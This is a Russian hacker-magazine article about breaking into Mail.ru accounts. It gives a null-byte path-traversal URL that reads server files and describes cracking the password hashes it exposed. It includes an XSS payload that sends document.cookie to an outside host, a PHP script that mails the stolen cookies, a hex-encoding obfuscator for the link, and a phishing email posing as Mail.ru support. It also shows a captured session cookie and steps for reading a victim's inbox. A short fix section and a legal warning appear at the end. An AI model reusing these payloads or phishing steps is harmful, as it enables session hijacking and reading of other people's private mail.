MAIL.RU взломь
Баги популярного почтового сервера
На сегодняшний день Mail.ru - самая популярная российская почтовая система, и, наверняка, половина твоих знакомых держат именно там свои почтовые ящики. Этот сервис уже много лет юзают аж несколько миллионов наших соотечественников, и хотя бы по этой причине админы Мыл.Ру просто обязаны приложить все возможные усилия для предотвращения взлома мыльников хакерами. Из чистого любопытства мы решили проверить, как последние отрабатывают свой хлеб. И что же выяснилось? После пары хитрых манипуляций любой желающий может почитать почту своей подружки

.
Интродакшн
Penetration-test решено было устроить всем серверам, относящимся к почтовику mail.ru: tv.mail.ru, love.mail.ru, news.mail.ru и т.д. Зачем? Например, если я получу доступ к одной из тачек в ломаемой сети, можно будет установить на ней снифер и попробовать выловить пароль админа к почтовому серверу. Да мало ли что!

Имея доступ к доверенному серверу, становится возможным взломать даже самый неприступный сервант! Однако не стоит забывать, что главной моей целью был именно сервер авторизации Маил.Ру - win.mail.ru. Ломать такой популярный сервис при помощи чужих эксплойтов - дохлое дело, кроме того, это неинтересно. Мне захотелось самостоятельно найти какие-нибудь дырки в движке сайта. И что ты думаешь? Не прошло и десяти минут, как меня посетила удача: я нашел классическую ошибку с романтическим названием «Ядовитый ноль» в скрипте, работающем на сервере tv.mail.ru.
Танкистам посвящается
Дыра «Ядовитый ноль» известна хакерам еще со времен дедушки Ленина, и мы не раз писали про нее. Напомню о ней вкратце. Иногда web-дизайнеры при разработке сайтов делают следующую вещь. Они рисуют шаблон, содержащий колонтитулы страниц сайта, а основной текст, который должен быть отображен на страницах, распихивают по отдельным файлам (допустим, они имеют имена file1.db, file2.db и т.д.). После этого они вставляют в середину страницы перловый скрипт примерно такого содержания:
$file="$page.db";
open(FILE, ">$file");
$text=>FILE<;
close(FILE);
print "$text";
Если запустить скрипт с параметрами index.cgi?page=file1, он прочитает файл file1.db (если таковой имеется) и вставит его содержимое в середину веб-страницы. На первый взгляд, ничего необычного. Но интересное начнется, если передать скрипту что-нибудь типа page=index.cgi%00. Он откроет для чтения и выведет уже не index.cgi\0.db, а сам исходник index.cgi! Из-за чего это происходит, куда девается приписанное расширение .db? Как же %00 мог повлиять на работу скрипта? Символ \0 в Perl не является признаком конца строки, но библиотеки, которые юзает Перл, написаны на С. А вот как раз в этом чудесном языке \0 символизирует своим присутствием, что строка закончилась. Сам понимаешь, если сайт использует такой движок, становится возможным читать любые доступные файлы на сервере.
В брюхе телепузиков
При правильном значении переменной id скрипт tv.mail.ru/info.html (который, кстати, написан на Perl, хоть и имеет расширение .html) показывает подробное описание выбранной телепередачи. Как раз этот сценарий и содержит ошибку «Poisoned null byte». Баг заключается в следующем. Если присвоить переменной id хитрозадое значение, вместо описания телепрограммы ты увидишь содержимое произвольного файла. Например, URL
http://tv.mail.ru/info.html?id=../../../....../etc/passwd%00 обличит контент файла /etc/passwd (см. скриншот). Содержимое конкретно этого файла хакеров, правда, не интересует, так как в нем нет почти ничего полезного. Интерес представляют админские бэкапы и прочие файлы, которые могут содержать какие-нибудь лакомые пароли или хотя бы их хэши. Поскольку права на сервере выставлены криво (все директории +x для web-юзера), листинг файлов, лежащих в папках, можно получить аналогичным способом. Например, строка
http://tv.mail.ru/info.html?id=../../../......./../../etc%00, набранная в браузере, покажет содержимое каталога /etc.
Юзаем добычу
После четверти часа изучения сервера в папке /etc я нашел backup конфигов и прочей ерунды, среди которых были найдены пассы от MySQL и хэши паролей от FTP-аккаунтов. Поскольку зашифрованные строки были короткими и состояли из одних строчных латинских букв, John the Ripper достаточно быстро справился с задачей. Удивлению не было предела: неужели админы mail.ru используют такие простые пароли и выставили эти службы на всеобщее обозрение в инет? Конечно, нет

. Соединяться с FTP, SSH и MySQL-службами сервера tv.mail.ru можно только с определенного адреса: админ закрыл файрволом 21-й, 22-й и 3306-й порты, чтобы всякие хитропопые люди типа меня не совали туда свой любознательный нос

. Поэтому чтобы воспользоваться добытыми пассвордами, нужно было сначала поломать тачку админа (а он, как я понял, не лох) и только оттуда логиниться на сервер. Это голимое обстоятельство меня очень огорчило, и я решил, временно забив на найденную ошибку, покопать скрипты с другой стороны.
CSS-баг
Если ты читал статью про взлом ящиков на hotbox.ru и nm.ru в апрельском номере Х, то уже неплохо знаком с CSS-атаками. Для саперов придется вновь напомнить суть этой уязвимости. Большинство веб-сервисов хранит идентификатор пользовательской сессии в cookie - это удобно и относительно безопасно. Но если на сервере имеется дырка, при помощи которой хакер может вставить на страницу JavaScript-код, становится возможным прочитать секретный кукис и перехватить сессию, после чего заполучить полноценный доступ к серверу не составит труда. Если бы на mail.ru была такая уязвимость, можно было бы читать чужую почту. Я принялся искать, куда бы приткнуть свой вредоносный javascript. Однако на первых порах все попытки обламывались - скрипт жестко препятствовал вставке потенциально опасных тегов, фильтруя все получаемые от пользователя данные. Тем временем один мой знакомый (который хаком, кстати, не занимается) независимо от меня обнаружил на mail.ru одну прикольную фишку и показал ее мне. А заключается она вот в чем. Представь, что в твоем ящике лежат 4 непрочитанных письма. Если зайдешь в раздел «Написать письмо», впишешь в поле «To» какой-нибудь адрес, например, b00b1ik@real.xakep.ru, в поле «Тема» какую-нибудь тему, например, «Привет, дырявая дырка» и нажмешь на кнопку «Отправить», тогда в строке браузера увидишь текст такого содержания:
http://www.mail.ru/sendmsgok?To=b00b1ik@re...&Subject=Привет, дырявая дырка&From=&user=i@mail.ru&TotalUnread=4&ReturnPath=win.mail.ru/cgi-bin. Видишь, переменной TotalUnread присваивается значение 4? А теперь попробуй вместо этой четверки набрать что-нибудь другое, например, «дохрена». В итоге количество непрочитанных писем заметно увеличится

) (см. скриншоты).
Я сразу просек тему, да и ты, думаю, уже догадался, что вместо «дохрена» без проблем можно вставить любую html-конструкцию - например, элементарную JS-программу. Теперь я мог сконструировать такую ссылку, перейдя по которой, моя жертва выполняла на своем компьютере вредоносный код, передающий идентификатор сессии моему php-скрипту.
Готовим инструмент
Для реализации атаки я написал два скрипта: первый крадет кукисы и передает их второму, который отсылает секретные данные мне на мыло.
Php-cкрипт для отправки кукиса на мыло хакера
$from = "bill@microsoft.com"; // от кого
$email = "hacker@hacker.ru"; // куда отправить
$topic = "Украденный у юзера mail.ru cookie"; // тема письма
$message = $QUERY_STRING; // тело письма
// (оно как раз и будет содержать похищенные данные из кукиса)
// собираем заголовки
$headers = "From: ".$from."\r\nReply-To: ".$from."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/plain;";
$body .= $message."\r\n\r\n";
mail ($email, $topic, $body, $headers); // отправляем
А так выглядит сам встраиваемый яваскрипт:
>script<document.write('>img width=1 height=1 src="http://hacker_server/cookie_send.php?'+document.cookie+'"<');>/script<. Теперь формируем URL, содержащий вредоносный javascript. Выглядеть он будет так:
http://www.mail.ru/sendmsgok?To=b00b1ik@re...&Subject=Привет, дырявая дырка&From=&user=i@mail.ru&TotalUnread=1 >script<document.write('>img width=1 height=1 src="http://hacker_server/cookie_send.php?'+document.cookie+'"<');>/script<&ReturnPath=win.mail.ru/cgi-bin. Ссылка эта, правда, выглядит достаточно подозрительно, поэтому многие пользователи просто побояться на нее нажимать. Чтобы решить эту проблему, я закодировал каждую букву параметров в шестнадцатеричное представление, что резко увеличило вероятность успеха. В этом мне помог незамысловатый скрипт, написанный на том же PHP:
>? $str = str_replace("%20", " ", $QUERY_STRING);
for($i=0;$i>strlen($str);$i++)
{$hex=dechex(ord($str[$i]));
if ($str[$i]=='&') echo "$str[$i]";
else if ($str[$i]!='\\') echo "%$hex";
} ?<
Теперь осталось только написать пользователю душещипательное письмо и поместить в него закодированную ссылку. Как только ламер прочитает послание и кликнет по линку, кукис с идентификатором его сессии будет у нас в руках.
Action, action!
Давай посмотрим, как это происходит на практике. Однажды мне потребовалось получить доступ к одному очень важному ящику, назовем его lopuh@mail.ru. Я залил скрипт cookie_send.php на свой сервер nsd.ru, в результате чего смертельный URL принял следующий вид: www.mail.ru/sendmsgok?To=b00b1ik@real.xakep.ru&Subject=Привет, дырявая дырка&From=&user=lopuh@mail.ru&TotalUnread=1>script<document.write('>img width=1 height=1 src="http://nsd.ru/test/cookie_send.php?'+document.cookie+'"<');>/script<&ReturnPath=win.mail.ru/cgi-bin.
После кодирования параметров ссылка приобрела более безобидную внешность: www.mail.ru/sendmsgok? %54%6f%3d%62%30%30%62%31%69%6b%40%72%65%61%6c%2e%78%61%6b%65%70%2e%72%75&%53%75%62%6a%65%63%74%3d%cf%f0%e8%e2%e5%f2%2c%20%e4%fb.... и т.д. Затем я написал пользователю письмо от лица администрации Mail.ru с текстом примерно такого содержания:
Form: Служба поддержки пользователей почтовой системы Mail.Ru >support@corp.mail.ru<
To: lopuh@mail.ru
Subj: Нарушение пользовательского соглашения
Уважаемый пользователь!
Вы нарушили 2-ю часть пункта 13 пользовательского соглашения. В ближайшее время ваш аккаунт будет заблокирован. Остановить блокировку аккаунта можно на этой странице: >сюда я вставил свою ядовитую ссылку<
Сразу же после того, как юзер кликнул по ссылке, мне пришло письмо такого содержания:
Стыренный кукис
p=QzQZAEt+VgAA; Mpop=1087929121:7a5977427771560319050219091d011b030c034f6a5d5e465e0207011b00720e
1f4758575a501c405044461658505d5b174345:pinch-pass@mail.ru:; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAABAAAAAAAAAA
AAAAQBwQcA; c0=xHefQgAAAAB11QEAAAAAAHXTAwAAAAAAfjECAAAAAACJ5AEAAAAA; c56=oiLbQAAAAABlFAEAAAAA; Mpopl=2122294019
Все! Я получил идентификатор сессии пользователя, а это и было моей целью.
Но что же делать дальше, как читать чужие письма? Здесь есть два пути. Первый - заюзать софтину CookieEditor, которую я уже подробно описывал в мартовском номере. Поэтому не буду повторяться и расскажу только о втором, более легком, на мой взгляд, пути, который заключается в использовании небезызвестной утилиты AccessDriver (http://nsd.ru/soft.php?group=hacksoft&razdel=other).
Сбор урожая
Слив и установив тулзу, я переключил ее в режим профи, для чего выбрал из меню «My Skill» пункт «EXPERT». Затем, выбрав во вкладке «Extra tools» пункт «HTTP Debuger», я приступил к активным действиям. В поле «HTTP Address» я засунул URL нужной мне страницы - например, чтобы посмотреть список писем в папке «Входящие», я набрал
http://win.mail.ru/cgi-bin/msglist?folder=0. Далее я поставил галку «Use cookie» и набил в появившемся поле саму украденную куку. Осталось только нажать на батон «Connect», чтобы отправить запрос, и на «Result», чтобы просмотреть браузером полученный результат запроса.
Аналогичным образом можно просматривать и само тело письма, если указать в поле «HTTP Address» соответствующий адрес.
Заключение
Такие вот детские ошибки бывают на мегапорталах... Да что тут говорить, они есть везде, просто мы их не ищем, а сами они в глаза не бросаются. Если покопать со всех сторон какой-нибудь другой гиперпосещаемый ресурс, я уверен, баги и на нем найдутся.
Как закрыть дыры
1) Баг «Ядовитый ноль». Если бы скрипт проверял переменную id, удаляя из нее символ %00, баг не работал бы.
2) XSS-дыра. Существуют как минимум два способа предотвращения взлома мыльников. Если бы генерируемая сессия привязывалась к ip-адресу пользователя, воспользоваться украденной кукой хакер просто не смог бы. Ну а второй способ защиты от XSS очевиден - если фильтровать символы > и < во всех переменных, которые передаются скрипту sendmsgok, CSS-бага не было бы.
Как послать печенье вручную
Представь, что у тебя нет никакого софта для отправки кукисов. Не отчаивайся, ты можешь послать плюшку telnet'ом! Например, если ты хочешь передать cookie hotlog=1; spylog=1 скрипту
http://nsd.ru/test/show_cookie.php, ты делаешь следующую вещь. Сначала подключаешься на 80 порт сервера nsd.ru, набрав в командной строке
telnet nsd.ru 80
далее отсылаешь такой запрос:
GET /test/show_cookie.php HTTP/1.1
Host: nsd.ru
Cookie: hotlog=1; spylog=1
и жмешь Enter два раза. Кстати, скрипт рабочий и ты можешь на нем потренироваться. Если все получится, ты увидишь свои куки, которые посылал скрипту.
CD
На нашем диске ты найдешь AccessDriver последней версии.
WARNING
Помни, что вся приведенная в статье информация носит лишь аналитический характер и повторение описанных действий может привести к уголовной ответственности. Берегись дядек в фуражках!

INFO
Как видишь, детские ошибки встречаются даже в очень серьезных и авторитетных проектах. Думаю, программистам, разрабатывающим эти системы, стоит поразмыслить над собственным профессионализмом.
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]